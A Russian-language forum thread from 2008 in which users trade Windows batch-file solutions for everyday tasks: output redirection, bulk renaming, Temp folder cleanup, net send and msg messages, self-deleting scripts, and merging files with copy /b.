Junos 28-05-2008 10:53 812617

Можно ли сделать на батнике такую фунцию, чтобы выполнялась команда ipconfig и результат сохранялся в текстовый файл рядом с батником???

skatet 28-05-2008 11:28 812645

Брат, я конечно не мегамозг, но тем неменее это знаю :)

ipconfig >ipconfig.log

> - знак для вывода результатов выполнения батника

ShaddyR 02-06-2008 13:20 816551

Цитата:

Цитата XaHAleX
Пример: %systemdrive%\Documents and Settings"\%1\"Application Data\1C\1Cv81 содержит в себе файлы настройки пользователя и временные папки с именами типа "ecf2c793", необходимо удалить временные папки в текущем каталоге не трогая файлов настройки... Извините за ляп... »

тогда для тебя будет решением предварительно скопировать (перенести) файлы конфигурации в отдельную папку, затем очистить исходную и вернуть файлы обратно.

XaHAleX 04-06-2008 12:26 818141

Цитата:

Цитата ShaddyR
предварительно скопировать (перенести) файлы конфигурации в отдельную папку »

согласитесь, что это не очень удобно, долго... и не совсем эффективно...

truvo 06-06-2008 03:39 819618

Вот командный файлик - во вложении - рекомендованный Vadikan для анализа дампов памяти. Алгоритм применения файла излагается здесь - http://vadikan.spaces.live.com/blog/...BAEE!454.entry.

Не мог бы кто помочь (если это несложно). Нужно исправить этот файл так, чтобы находясь в любой папке и будучи запущенным без параметров батник обрабатывал все файлы с расширением .dmp, обнаруженные в этой же папке, и сохранял результаты в текстовый файл.

Petya V4sechkin 06-06-2008 10:27 819753

truvo, исправлять не обязательно, достаточно сделать файл-обертку (скажем, kdfe-all.cmd):
Код:

@Echo Off
For %%I In (*.dmp) Do Call Kdfe.cmd %%I


ShaddyR 06-06-2008 14:42 820029

Цитата:

Цитата XaHAleX
это не очень удобно »

в чем неудобство?
>
Цитата:

Цитата XaHAleX
долго »

хоть раз пробовал?
>
Цитата:

Цитата XaHAleX
не совсем эффективно »

что именно не эффективно?

truvo 06-06-2008 17:42 820176

Цитата:

Цитата Petya V4sechkin
достаточно сделать файл-обертку »

А я еще про файл отчета спрашивал, как с ним?

Petya V4sechkin 06-06-2008 17:51 820183

Цитата:

Цитата truvo
А я еще про файл отчета спрашивал, как с ним?

Элементарно:
Код:

@Echo Off
For %%I In (*.dmp) Do Call Kdfe.cmd %%I >>Kdfe.log


Deep2007 07-06-2008 16:10 820911

Нужен код для файла .cmd для перемещения папки со всеми находящимися в ней файлами из одного места в другое (оба - один и тот же локальный диск). Например: переместить папку X из C:\Install на рабочий стол текущего пользователя. Помогите неучу, плиз...
ОС: Windows XP. Так:
Код:

@ECHO OFF

move dir "%SYSTEMDRIVE%\Install\X" "%ALLUSERSPROFILE%\Рабочий стол"

EXIT

не проходит. Кодировка DOS.

Admiral 07-06-2008 16:30 820922

Код:

@ECHO OFF

move dir "%SYSTEMDRIVE%\Install\X" %systemroot%\..\Install\X "%ALLUSERSPROFILE%\Рабочий стол" "%userprofile%\Рабочий стол"

EXIT


Deep2007 07-06-2008 17:21 820954

Спасибо большое!
Код:

@ECHO OFF

move "%SYSTEMDRIVE%\Install\X" "%userprofile%\Рабочий стол"

EXIT

РАБОТАЕТ!!!

yurfed 07-06-2008 17:58 820991

Цитата:

Цитата Deep2007
РАБОТАЕТ!!! »

а с русским шрифтом всё нормально проходит?

Admiral 07-06-2008 18:17 821002

yurfed, если в кавычка всё будет ОК, можно перестраховаться и писать в виде 0016~1 (это имя папки Рабочий стол по ответу на DIR /X).

XaHAleX 10-06-2008 06:20 822731

ShaddyR, извините, был не прав... дописал, поставил в назначенные на каждое утро, так что пока работаем...
Цитата:

Цитата ShaddyR
что именно не эффективно? »

просто по идее должна же быть команда на удаление только папок...

boss911 17-06-2008 17:04 828361

Есть пакетный файл, хочу добавить в начало скрипта команду на проверку наличия файла(ов) в конкретной директории (рядом с батником), если файлы не найдены, скрипт прекращает работу. Вот мне подсказали следующие:
Код:

If Not Exist FOLDER\*.dll (
 Echo.
 Echo Џ взҐ**лҐ д ©«л *Ґ * ©¤Ґ*л. “бв *®ўЄ  Ўг¤Ґв ЇаҐаў * .
 Echo.
 Pause
 Exit
)

Все работает как мне надо, только вот оно проверяет маску файлов по расширению .dll , а мне хотелось бы (нужно), чтобы оно проверяло наличие файла(ов) в независимости от его типа, то есть, там может лежать любой тип файла.
Код:

If Not Exist PackFiles\*.*
If Not Exist PackFiles\*

- этот метод почему-то не срабатывает. Подскажите, плиз.

Admiral 17-06-2008 17:09 828365

Код:

If Not Exist PackFiles\*.???

boss911 17-06-2008 17:13 828368

Admiral

Не то, скрипт всеровно продолжает работу, в независимости от того, есть ли файлы в папке "FOLDER" или нет.

Admiral 17-06-2008 17:18 828374

Я проверял по диску С, так он мне ничего не писал. А если я подправлял истинность (вместо Not Exist писал Exist) исполнялось условия If.

boss911 17-06-2008 17:32 828391

Цитата:

Цитата Admiral
А если я подправлял истинность (вместо Not Exist писал Exist) исполнялось условия If. »

Это мне не подходит. Мне нужно:
Цитата:

Цитата boss911
если файлы не найдены, скрипт прекращает работу. »

В общем получается, только если указать маску по расширению файлов.

boss911 17-06-2008 21:28 828561

Вопрос помогли решить, надо было сразу там и спрашивать, а то тут все что-то ленивые, либо занятые, кого не попроси. :)

Кому интересен ответ, привожу:
Код:

Dir /b /a MyFolder\ | Findstr /v "?" 1>nul || (
    Echo.
    Echo Џ*взҐ**лҐ д*©«л *Ґ **©¤Ґ*л. “бв**®ўЄ* Ўг¤Ґв ЇаҐаў***.
    Echo.
    Pause
    Goto:eof
)


Michael 18-06-2008 16:40 829299

Подскажите пожалуйста - а можно в cmd сделать перенаправление вывода в переменную? Т.е. есть некая консольная программа, выводящая на экран какое-то число. Надо чтобы это число забивалось в переменную, определенную в батнике. Это можно как-то сделать? Пробовал > и >> - получился только вывод в файл.

Petya V4sechkin 18-06-2008 16:50 829307

Цитата:

Цитата qwerty123123
есть некая консольная программа, выводящая на экран какое-то число.

Одно число?
Код:

@Echo Off

For /F "UseBackQ Delims=" %%I In (`консольная_программа`) Do Set V=%%I
Echo Значение переменной: %V%

Вместо консольная_программа подставить нужное.
Результат в переменной V.

Michael 19-06-2008 12:52 829967

Petya V4sechkin, благодарю, то что доктор прописал

Junos 24-06-2008 18:15 833891

Как можно перейменовать файл чере батник ????
К примеру 1.txt в 1.bak???

ShaddyR 24-06-2008 19:44 833938

Junos,
Код:

ren 1.txt 1.bak

Dr.Dark 26-06-2008 21:43 835873

что означают переменные %0-%9 если можно то по понятнеее.

ShaddyR 26-06-2008 21:50 835878

Dr.Dark, это параметры командной строки, которые можно передавать в соответствующий bat-файл. Причем %0 есть имя этого самого файла.

Dr.Dark 27-06-2008 14:00 836329

Про %0 я знаю а остальные? Пустые?

Котяра 27-06-2008 17:40 836543

Цитата:

Цитата Dr.Dark
Про %0 я знаю а остальные? Пустые? »

Это параметры командной строки.
Создайте батник
Код:

echo %1
pause

.
Затем выберите пуск - выполнить. Введите путь к батнику и что-либо, например
C:\0\test.bat Test

amel27 28-06-2008 08:37 837005

Цитата:

Цитата Dr.Dark
Про %0 я знаю »

а про "%*"? ;)

Dr.Dark 02-07-2008 09:58 840013

Котяра, твой способ не катит.

Junos 06-07-2008 21:43 844124

Можно ли через батник или какуето прогу перейменовать файлы?
У меня есть 2хх файлов с такими именами как 01_aaaa.exe, 02_bbbb.exe, 03_zxs.exe
Можно ли убрать цифры в начале?, что б было aaaa.exe, bbbb.exe, zxs.exe ?

truvo 06-07-2008 23:15 844192

Что написать в bat-файле вместо
Цитата:

d:\backup\opera\profile
, чтобы указать, что папка profile является подкаталогом той папки, в которой лежит батник, независимо от ее названия и расположения?

Цитата:

Цитата Junos
Можно ли убрать цифры в начале?, что б было aaaa.exe, bbbb.exe, zxs.exe »

Кажется, это и не только это возможно в Total Commander (ищи там в меню "групповое переименование файлов")

DENoszone 07-07-2008 00:13 844229

вопрос:
можно ли способамии C++\c# запустить окошко сообщения на комп, на этот же.

amel27 07-07-2008 08:29 844399

Junos
Цитата:

Можно ли через батник или какуето прогу перейменовать файлы? »
Код:

REN /?
Цитата:

У меня есть 2хх файлов с такими именами как 01_aaaa.exe, 02_bbbb.exe, 03_zxs.exe
Можно ли убрать цифры в начале?, что б было aaaa.exe, bbbb.exe, zxs.exe ? »
Код:

@Echo Off
SetLocal EnableDelayedExpansion

For /F "Delims=" %%i In ('Dir /B ??_*.exe') Do (
        Set $Name=%%i
        Set $Name=!$Name:~3!
        Ren %%i !$Name!
)

truvo
Цитата:

чтобы указать, что папка profile является подкаталогом той папки, в которой лежит батник, независимо от ее названия и расположения »
Код:

@Echo Off

Set ProfilePath=%~dp0Profile
Echo %ProfilePath%

DENoszone

при чем тут CMD/BAT ?.. читайте название темы

truvo 07-07-2008 15:49 844792

amel27, я не понял ваш совет. Есть исходный батник, который мне нужно переделать для своих нужд. Он выглядит так:
Код:

@echo off
echo Opera Internet Browser Silent Setup 
 
start /wait Opera_951_in_Setup.exe /S /V"/passive /norestart ALLUSERS=1 DESKTOP_ICON=1 CREATE_QUICKLAUNCH_ICON=1 CREATE_STARTMENU_ICONS=1 MULTI_USER_SETTING=1 INSTALLER_LANGUAGE=ru"
 
echo End Of Opera Setup

echo Opera Browser Forced Settings
 
REM путь к сохраненным настройкам Оперы
; set OperaBackupLocation=d:\backup\opera
 
; xcopy "%OperaBackupLocation%" "%ProgramFiles%\Opera\profile" /s /i /Y /h /R

В моем случае сам батник, инсталлятор Opera - файл Opera_951_in_Setup.exe, и папка profile c сохраненными настройками браузера - находятся в папке c названием, допустим, XYZ.
Сам каталог XYZ может располагаться где угодно - на флэшке, например, буква которой на разных компах может меняться. Я хочу, чтобы батник отрабатывался в любом случае. И что на что мне поменять в тексте?

Dr.Dark 07-07-2008 20:02 845095

Люди в папке \root лежит батник и есть подпапка \Directori в которой лежит файл File.txt. как скопировать его с помощью xcopy из \root\Directori в \root\.
Пишу xcopy \Directori\File.txt на что cmd отвечает ФАЙЛ НЕНАЙДЕН.
Помогите плиз.

Задал вопрос неподумавши вот ответ вместо xcopy \Directori\File.txt надо xcopy .\Directori\File.txt

amel27 08-07-2008 15:11 845808

truvo
чего непонятного? подстановка "%~dp0" возвращает путь к каталогу с батником (плюс слэш), соответственно подстановка "%~dp0Profile" заменяется на полный путь к ".\Profile" (уже без оконечного слэша)

truvo 08-07-2008 21:02 846143

amel27, ну а применительно к моему батнику в посте 209 (см.) как это выглядит? Я просто дуб в этих процентах, иначе бы не спрашивал...

DENoszone 09-07-2008 08:41 846491

Как послать сообщение на свойже комп не зная какой ип. и ипа вообще может не быть.

ShaddyR 09-07-2008 10:35 846592

Цитата:

Цитата DENoszone
послать сообщение на свойже комп »

эт еще зачем?
Для этого нужно две вещи:
1) знать имя своего компьютера
2) иметь запущеным сервис "служба сообщений"
Код:

net sen _имя_компьютера_ "твое сообщение"

DENoszone 09-07-2008 11:37 846647

я не знаю имя компа

yurfed 09-07-2008 11:39 846650

Цитата:

Цитата DENoszone
я не знаю имя компа »

Своего???

Strange_V 09-07-2008 11:48 846659

Код:

net send %computername% "твое сообщение"

DENoszone 09-07-2008 12:01 846679

пишу не появляется.
наверное отключено.
не могу найти где включить.
желательно через bat

ShaddyR 09-07-2008 12:04 846685

DENoszone,
Цитата:

Цитата ShaddyR
иметь запущеным сервис "служба сообщений" »

Strange_V, старею :) ; пытался через localhost

DENoszone 09-07-2008 12:15 846694

ну так а как его запустить через bat

Strange_V 09-07-2008 12:26 846709

Используя телепатию предложу, что пишется некий скрипт, который что-то делает и потом выводит пользователю сообщение.. так вот, net send для этого явно не хороший вариант
(хотя как в windows другими методами вывести инф. окно, к сожалению не знаю..)

Код:

net start Messenger
Нужны права админа..

ShaddyR, ;)

amel27 09-07-2008 14:10 846831

truvo
Цитата:

применительно к моему батнику в посте 209 (см.) как это выглядит? »
понятия не имею, так как твой батник не соответствует твоему описанию:

- папки Profile в каталоге-источнике нет, зато она есть в каталоге-приемнике;
- каталога XYZ в батнике в упор не вижу, где батник лежит? в "d:\backup\opera"?


Цитата:

Цитата Strange_V
net send %computername% "твое сообщение" »

или так :)
Код:

msg %username% "твое сообщение"

ShaddyR 09-07-2008 14:34 846857

amel27, спасибо, я давно пытался вспомнить, как пишется эта долбаная команда :)

Всем:
Цитата:

Цитата amel27
msg %username% "твое сообщение" »

будет предпочтительнее, чем
Цитата:

net send %computername% "твое сообщение" »
- ей наличие службы сообщений не требуется. Правда и отсылать на другие компьютеры она, похоже, не умеет.

Котяра 09-07-2008 15:06 846891

Цитата:

Цитата amel27
Цитата Strange_V:
net send %computername% "твое сообщение" »
или так
Код:
msg %username% "твое сообщение" »

Первое у меня не сработало.

Кстати,
Цитата:

Цитата amel27
msg %username% "твое сообщение" »

сообщение выводит процесс csrss.exe :)

ShaddyR 09-07-2008 15:26 846906

Цитата:

Цитата Котяра
Первое у меня не сработало »

тебе отдельно, раз выше не читаешь:
Цитата:

иметь запущеным сервис "служба сообщений"
>
Цитата:

Цитата Котяра
сообщение выводит процесс csrss.exe »

сообщение выводит то, что ему сказано выводить.

Admiral 13-07-2008 21:36 850530

В шапку темы
Статья The Windows NT Command Shell By Tim Hill на английском языке для страждующих помощи при написании *.bat файлов. Ссылка для выноса в шапку в самый раз.

truvo 18-07-2008 15:31 855453

Большая просьба ко всем. Я выкладывал текст бат-файла, давно уже, вот здесь: http://forum.oszone.net/post-784912-117.html Никто на ту мою просьбу так и не отреагировал, и хочу ее повторить. Ну, может, погода изменилась, настроение, новые люди на форум пришли - может, кто и выручит теперь. Надо бы отрецензировать тот батник, может, поправить как-нибудь. Поскольку, например, файлы из папки Temporary Internet Files он у меня не удаляет, хотя и должен.

LooTer 18-07-2008 15:49 855473

Народ, подскажите пожалуйста:

Нужeн батник, который бы удалял из папки в которой лежит те папки, которые не входят в список(лежащий рядом list.txt )

Код который я написал:

Код:

SETLOCAL ENABLEEXTENSIONS
@echo off

call :read_list %~dp0\list.txt || exit /b 1

exit /b 0

:read_list

set LISTFILE=%1

if not exist %LISTFILE% (
    echo FAIL: Файл со списком отсутствует
    exit /b 1
)

set VAR=no
for /f  "usebackq delims=="  %%i in (`"dir "%cdd%" /ad /b"`) do (
  for /f %%j in (%LISTFILE%) do        (   
          if %%i==%%j (set VAR=yes)
        )
if "!VAR!"=="no" (rd /s /q %%i)
        set VAR=no)
pause
set VAR=no   
)

exit /b 0

Но вот что то он не хочет работать...
Может кто предложит как проще реализовать?

Котяра 18-07-2008 16:35 855525

Цитата:

Цитата ShaddyR
сообщение выводит то, что ему сказано выводить. »

Я просто написал, какому процессу принадлежит окно.

amel27 21-07-2008 05:54 857274

Цитата:

Цитата LooTer
Может кто предложит как проще реализовать? »

например так (имена каталогов в LIST.TXT и "DIR /B /AD" должны совпадать):
Код:

@Echo Off
SetLocal EnableDelayedExpansion

Set ListFile=list.txt
If Not Exist %ListFile% (
        Echo FAIL: Файл со списком отсутствует
        Exit /B 1
)

For /F "delims=" %%i In ('DIR /B /AD') Do (
        FindStr /BEIC:"%%i" %ListFile% 1>Nul 2>Nul
        If !ERRORLEVEL!==1 RD /S /Q "%%i"
)

Exit /B 0


zeroua 24-07-2008 10:07 859788

Подскажите пожалуйста код cmd/bat файла для очистки темпа "вот мой скромный вариант". поправьте ели что не так (может конечно это и вовсе неправильно, вообще нужен совет или правильный вариант):

Код:

@echo off

attrib -R -H -S "%systemroot%\Temp\*.*" /S
echo.
DEL "%systemroot%\Temp\*.*" /S /Q 
echo.
RD "%systemroot%\Temp" /S /Q
echo.
MD "%systemroot%\Temp"

EXIT

заранее благодарен за оказанную помощь ...

amel27 24-07-2008 12:15 859877

ИМХО достаточно двух команд (ATTRIB необязателен для RD):
Код:

Set TempDir=%SystemRoot%\Temp

RD "%TempDir%" /S /Q
If Not Exist "%TempDir%" MD "%TempDir%"

Но тут есть одна проблема - при удалении/создании каталога сбрасываются NTFS-права, поэтому если быть совсем правильным, то нужно восстанавливать ACL, назначенный каталогу при установке системы (при помощи CACLS или XCACLS).

zeroua 24-07-2008 12:19 859880

amel27,
Цитата:

Цитата amel27
Но тут есть одна проблема - при удалении/создании каталога сбрасываются NTFS-права, поэтому если быть совсем правильным, то нужно восстанавливать ACL, назначенный каталогу при установке системы (при помощи CACLS или XCACLS). »

, а теперь как для полного чайника поподробнее пожалуйста и если можно простой пример или готовую реализацию ...

amel27 24-07-2008 14:39 860007

гм, дефолтовые права на TEMP оказались довольно хитрыми и точно восстановить с помощью штатных утилит не получается, разве только SUBINACL использовать, но ее нужно дополнительно копировать... Можно сделать следующий финт: создать в TEMP пустую подпапку (при этом она наследует права TEMP) и потом поставить ее на место хозяина:
Код:

Set TempDir=%SystemRoot%\Temp

MD %TempDir%\~Temp
MD %TempDir%\~~Temp
MOVE %TempDir%\~Temp %SystemRoot%\

RD /S /Q %TempDir%
If Exist %TempDir% (
        RD /Q %SystemRoot%\~Temp
) ELSE (
        REN %SystemRoot%\~Temp Temp
)

З.Ы. второй MD нужен чтобы освободить ~Temp, иначе не дает переместить следующим MOVE

zeroua 24-07-2008 15:45 860083

amel27, га круто чем мой вариант плох ??? и зачем это делать ? на нем и так куча прав например для того чтобы там появился вирус или еще чтото ...

zeroua 24-07-2008 22:56 860402

amel27, а может просто папке темп поменять так права чтобы она ни при каких обстоятельствах не удалялась ... а удалялось лишь то что в ней ...

Цитата:

Цитата amel27
ИМХО достаточно двух команд (ATTRIB необязателен для RD): »

, лично мне казалось что это для команды
Код:

DEL "%systemroot%\Temp\*.*" /S /Q
и еще одно так для общего развития будет ли работать в таком виде:

Код:

If Not Exist "%systemroot%\Temp" MD "%systemroot%\Temp"

amel27 25-07-2008 03:39 860543

Цитата:

Цитата zeroua
круто чем мой вариант плох ??? и зачем это делать ? на нем и так куча прав например для того чтобы там появился вирус или еще чтото »

Могу только догадываться о причинах, по которым даны именно такие права, а не другие - к примеру, на TEMP имеет права учетка SYSTEM, под которой обычно работают службы... после пересоздания она теряет свои права (в группу "Администраторы" она не входит). Насчет вирусов... ИМХО дефолтовые права тоже не ламеры рисовали, добавление права равно как и его удаление должно быть всегда обосновано. Вот ремейк твоего варианта, оптимизированный по скорости выполнения и без удаления TEMP:
Код:

PUSHD %SystemRoot%\Temp

For /F %%i In ('DIR /B /A:D *') Do RD /Q /S %%i
ATTRIB -R -S -H *
DEL /F /Q *

POPD

Цитата:

Цитата zeroua
может просто папке темп поменять так права чтобы она ни при каких обстоятельствах не удалялась ... а удалялось лишь то что в ней »

есть идея получше - открыть папку TEMP и вызвать RD, тогда все содержимое будет удалено кроме самой TEMP (будет выдана ошибка доступа):
Код:

PUSHD %SystemRoot%\Temp
RD /S /Q %SystemRoot%\Temp >Nul 2>&1
POPD

Цитата:

Цитата zeroua
будет ли работать в таком виде »

будет, поскольку пробелов в имени нет я кавычки опустил

zeroua 25-07-2008 09:11 860617

amel27, хорошо если это так сложно на bat/cmd, возможно это будет проще реализовать на другом скрип языке и возможно даже в виде утилиты ... а может даже добавить туда очистку "%SystemRoot%\Prefetch\" как это реализовано в программе TweakNow, что скажете по этому поводу ...

yurfed 25-07-2008 13:48 860855

Почему для очистки папки TEMP все упорно указывают на %SystemRoot% и никто не подумал что переменные среды могут быть изменены самим пользователем?

Например папка TEMP может находится и в корне системного диска %SYSTEMDRIVE% (ди и вообще -где угодно).
Для начала неплохо бы выяснить переменную среду для временной папки, а уж потом удалять.

Забыли про переменную %USERPROFILE%\Local Settings\Temp которая так же, может быть изменена.

Может лучше как-то так %TEMP% или так %TMP%?

TEMP (системная) и ТМР (локальная) - Возвращает временные папки, по умолчанию используемые приложениями, которые доступны пользователям, выполнившим вход в систему. Некоторые приложения требуют переменную TEMP, другие — переменную TMP. Потенциально TEMP и TMP могут указывать на разные каталоги, но обычно - совпадают.

zeroua 25-07-2008 14:02 860869

yurfed, для начала я знаю что я делаю так как назначаю темп только в одно место ... тоесть %systemroot%\Temp и это делаю не для когото а для себя ... хотите предложить универсальный вариант, прошу, а то разводить догадки мы все можем а вот сделать дело немногие, но в целом использовать переменную среду %TEMP% и %TMP% более правильно но вот только тогда нужно писать файл и для удаления %TEMP% и %TMP%, а если они в одном месте и заведомо %systemroot%\Temp так наверное проще ... хотя тут спорный вариант ... я думаю что лишь из немногих рядовых пользователей знают что такое переменная среда ... и менять ее не станут ...

yurfed 25-07-2008 14:18 860883

Цитата:

Цитата zeroua
для начала я знаю что я делаю »

флаг тебе в руки, делай.

Сам я не специалист по написанию батников, но было предложено выйти при написании из разряда "Для себя любимого" в разряд -"Для всех".

Вычищает TEMP локального пользователя
Код:

PUSHD %temp%
RD /S /Q %temp% >Nul 2>&1
POPD


zeroua 25-07-2008 14:37 860895

yurfed,
Цитата:

Цитата zeroua
я думаю что лишь из немногих рядовых пользователей знают что такое переменная среда ... и менять ее не станут ... »

, делается это для авто очистки темпа после авто установки WindowsXP, а вот для народа и хочу расширить функциональность чтобы была еще и очистка папки %SystemRoot%\Prefetch, а по поводу среды %TEMP% и %TMP% пожалуй стоит подумать ...

zeroua 26-07-2008 21:01 861690

amel27, ну так как это все прокомментируете как эксперт ?

truvo 26-07-2008 23:50 861790

Цитата:

Цитата zeroua
Подскажите пожалуйста код cmd/bat файла для очистки темпа »

Смотри здесь: http://forum.oszone.net/post-784912-117.html Файл не без недостатков - работает не на всех компах (видимо, из-за различий в названиях папок в рус. и англ. ОС), и у меня в русской винде при одном пользователе не может удалить файлы из папки Temporary Internet Files, а в остальном отрабатывает нормально. Я дважды просил в этой теме людей заценить этот файл (подправить), но пока никто не хочет... Вообще, советую тебе с подобными вопросами обращаться также и на ru-board, там немного больше развита bat-аника, чем здесь...

Vadikan 27-07-2008 08:38 861880

Цитата:

Цитата truvo
Вообще, советую тебе с подобными вопросами обращаться также и на ru-board, там немного больше развита bat-аника, чем здесь... »

Вообще, советую не советовать подобных вещей. Не надо устраивать соревнование между ресурсами по принципу "кто быстрее" или "кто лучше". Это, как минимум, не этично, да и напрасно время у людей отнимает. А то налепят вопросов и тут, и на руборде, и на текнете, а потом ни в одной теме не отписываются даже - не раз видел подобное.

truvo 27-07-2008 18:18 862132

Цитата:

Цитата Vadikan
советую не советовать подобных вещей »

Это можно было сделать незаметнее, через ПМ, извините, я не догадался. Только в этом готов согласиться. В остальном же - имею право на свои выводы, и соревнований не устраиваю, и правила форума, кстати, тоже не нарушаю...

amel27 28-07-2008 07:44 862464

zeroua
Цитата:

Цитата zeroua
amel27, ну так как это все прокомментируете»

Не вижу предмета для спора, варианты предложены - выбирайте. Короче чем на батнике (3 строчки) у вас все равно не получится. Объединять два разных Temp'а - пользовательский ("HKCU\Environment") и системный ("HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment") не советую из соображений безопасности... Хотя, если работать только под Администратором то разницы нет, только на кой тогда было поднимать вопрос про вирусы и прочее?


truvo
надюсь вы открыли человеку глаза и он узнал наконец о существовании новых ресурсов и поисковиков :)

Dima2112 28-07-2008 15:34 862807

Привет! Вопрос на засыпку - можно ли при помощи bat файла убить процесс ( который отображается в диспетчере задач). Проблема в следующем: перед тем, как выдти в инет запускаю с помощью батника ferewell (Sygate) и прогу для подсчета трафика (Tmetr). После того как выхожу из интернета выключаю эти программы тоже батником ( останавливаю службы командой net stop "имя службы"). Все получается, только не соображу как выключить Tmetr монитор службы. Думаю в bat файле прописать выключение процесса, а то служба выключается, а монитор службы висит в трее (пишет нет связи со службой). И процесс такой есть. Или можно как то по другому? Подскажите, кто знает! Заранее спасибо за ответы!

Petya V4sechkin 28-07-2008 17:27 862909

Цитата:

Цитата Dima2112
Вопрос на засыпку - можно ли при помощи bat файла убить процесс

[решено] Закрыть приложение из командной строки

Dima2112 28-07-2008 21:42 863093

Спасибо!! Все получилось!

Krend_l 30-07-2008 21:38 864679

Можно ли через планировщик в Vista создать задание на установку обновлений Windows из папки, где сохранены обновления? Прописать ключи установки, чтоб после очередного установленного обновления система не перезагружалась, а устанавливалось следующее обновление. Кто пробовал, есть возможность?

amel27 31-07-2008 07:59 864890

Krend_l
по ключам к обновлениям это сюда: Автоматическая установка Windows Vista, останется только запихать все обновления с нужными ключами в батник, проверить в ручном режиме и только потом шедулить запуск под учеткой с правами администратора

Krend_l 31-07-2008 11:08 865000

ссылка на слишком большой разброс, запутался.
Если не составит особого труда, не укажешь ли конкретную ветку с запихиванием обновлений и ключей в батник если есть такая для Vista? Мне не нужно обновление во время установки Windows, про это у вас уже и так все давно было разжевано и, кстати, удачно испробовано! Спасибо за тот материал.

amel27 31-07-2008 12:47 865069

Цитата:

Цитата Krend_l
не укажешь ли конкретную ветку с запихиванием обновлений и ключей в батник если есть такая для Vista? »

Кто мешает создать новую тему? Совсем не обязательно интегрировать обновления в дистрибутив, поэтому ИМХО "тихая" установка обновлений как раз из раздела "автоустановки".

7human7 01-08-2008 20:10 866091

Здравствуйте. Помогите создать бат-файл, который удалял бы определенный файл и сам тоже (самоудалялся).
Допустим я создал .doc документа на диске D:\ с названием Document.
То, какими командами можно создать батник (или cmd-шник) чтобы он по истечении (или в указанный срок) удалил тот файл + сам тоже.

Busla 02-08-2008 15:57 866423

7human7, bat-файл не нужен
есть команда at которая позволяет отсрочить запуск команд и приложений
т.е. что-то вроде
Код:

at 6:00 /next:1 del d:\Document.doc
назначит удаление файла на 1ое следующего месяца

Поскольку сам "наблюдаемый" файл всё равно необходимо задать вручную - можно задание создавать через графический интерфейс. В Vista планировщик куда более продвинутый - можно указывать примерное время, может даже само перезапускать задание, если во время выполнения произойдут ошибки. Так же можно поставить галку, чтобы после вполнения задание удалялось.

7human7 03-08-2008 14:52 866943

Цитата:

Цитата Busla
bat-файл не нужен
есть команда at которая позволяет отсрочить запуск команд и приложений
т.е. что-то вроде
Код:
at 6:00 /next:1 del d:\Document.doc »

Тогда куда это вводить? Не легче-ли просто создать батник с удалением файла+самого себя потом закинуть его в шедулер (а в шедулере настроить время для запуска этого батника).

Busla 04-08-2008 00:29 867214

7human7, что вы к этим батникам привязались - зашедулить можно сразу команду удаления необходимого файла!

amel27 04-08-2008 04:26 867268

7human7, команда самоудаления:
Код:

DEL /F/Q "%0"

Kira.play 04-08-2008 14:39 867600

Всем привет.
Мне нужна помощь в написании .bat файла...
Я извеняюсь если это здесь уже было... просто я даже не представляю как забить это в поиск % )
Так вот:
Кто хорошо знает... напишите если не сложно как будет выгледеть это:
Что бы скопировать все файлы Game.sav(допустим их 5 штук.. с одним и тем же названием) с диска C:\ и записать их в файл SaveList.txt в директорию откуда был запущен .bat файл.
Что бы при вскрытии SaveList.txt я мог прочитать все что находилось в этих 5-ти .sav файлах?
Если же это сложно... То как можно скопировать все Game.sav(допустим их 5 штук.. с одним и тем же названием) с диска C:\ в файлы Save(1).txt (1 файл) Save(2).txt (2-ой файл) и так до 5-го в директорию откуда был запущен .bat файл?
вот...

И еще при выполнении команды
@echo off
xcopy "C:\game.sav" "prog.exe" /y
Он пишет в cmd:

Что означает SPS.exe:
имя файла или каталога
(F = файл, D = каталог)?

Как можно ему так плоско намекнуть что это файл??? Что нужно прописать? Что бы он не выводил этого сообщения.
Очень надеюсь на вашу помощь ^^"
Заранее спасибо.

Petya V4sechkin 04-08-2008 15:07 867630

Цитата:

Цитата Kira.play
Что бы скопировать все файлы Game.sav(допустим их 5 штук.. с одним и тем же названием) с диска C:\ и записать их в файл SaveList.txt в директорию откуда был запущен .bat файл.

Как может быть 5 штук Game.sav с одним и тем же названием?
Объединение файлов командой Copy:
Код:

copy /b file1.sav + file2.sav + file3.sav SaveList.txt
Цитата:

Цитата Kira.play
при выполнении команды
@echo off
xcopy "C:\game.sav" "prog.exe" /y
Он пишет в cmd:
Что означает SPS.exe:
имя файла или каталога
(F = файл, D = каталог)?
Как можно ему так плоско намекнуть что это файл?

Код:

echo F | xcopy "C:\game.sav" "prog.exe" /y
или:
Код:

copy /y "C:\game.sav" "prog.exe"

Kira.play 04-08-2008 15:46 867664

Цитата:

Цитата Petya V4sechkin
echo F | xcopy "C:\game.sav" "prog.exe" /y »

Ого! Спасибо огромное, все работает

Цитата:

Цитата Petya V4sechkin
Как может быть 5 штук Game.sav с одним и тем же названием? »

С:\213\game.sav
C:\Program Files\game.sav
C:\Gamegame\game.sav
C:\Windows\game.sav
C:\1\game.sav

вот так =)
Как мне взять все файлы game.sav с диска C:\ и соединить их в SaveList.txt........ bat файлом?

Petya V4sechkin 04-08-2008 16:05 867682

Цитата:

Цитата Kira.play
вот так

Код:

copy /b С:\213\game.sav + "C:\Program Files\game.sav" + C:\Gamegame\game.sav + C:\Windows\game.sav + C:\1\game.sav SaveList.txt
(если в пути пробел - кавычки).

Kira.play 04-08-2008 16:16 867690

Спасибо...
А что значет /b и можно ли соединить их незная где точно они находятся?
Допустим я хочу получить все Game.sav с диска C:\

Petya V4sechkin 04-08-2008 16:58 867719

Цитата:

Цитата Kira.play
можно ли соединить их незная где точно они находятся?
Допустим я хочу получить все Game.sav с диска C:\

Код:

@Echo Off
SetLocal EnableExtensions EnableDelayedExpansion

Set V=
For /F "UseBackQ Delims=" %%I In (`Dir C:\Game.sav /A-D-H-S /B /S 2^>nul`) Do (
  If "!V!"=="" (
    Set V="%%~I"
  ) Else (
    Set V=!V! + "%%~I"
  )
)
If Not "!V!"=="" Copy /B !V! SaveList.txt


Kira.play 04-08-2008 17:05 867728

omg...
Спасибо огромное за уделенное время =)
Если бы вы еще обьеснили зачем каждая строка %)
если будет свободное время и желаение конечно ;)
А так еще раз спасиб ...

radistOK 04-08-2008 17:07 867730

Народ помогите плз с написанием вот такого батника: нужно что бы он через определённый промежуток времени просматривал определённую папку и при наличии там файлов котроые созданны более 15-25 минут назад выдавал сообщение на компьютер находящийся в локальной сети командой net send . И мини вопрос что бы батник срабатывал через определённый промежуток времени его нужно запускать шедулером?


P.S. В первом посте задача была поставлена но я ненашёл батник :(

Petya V4sechkin 04-08-2008 17:12 867737

Цитата:

Цитата Kira.play
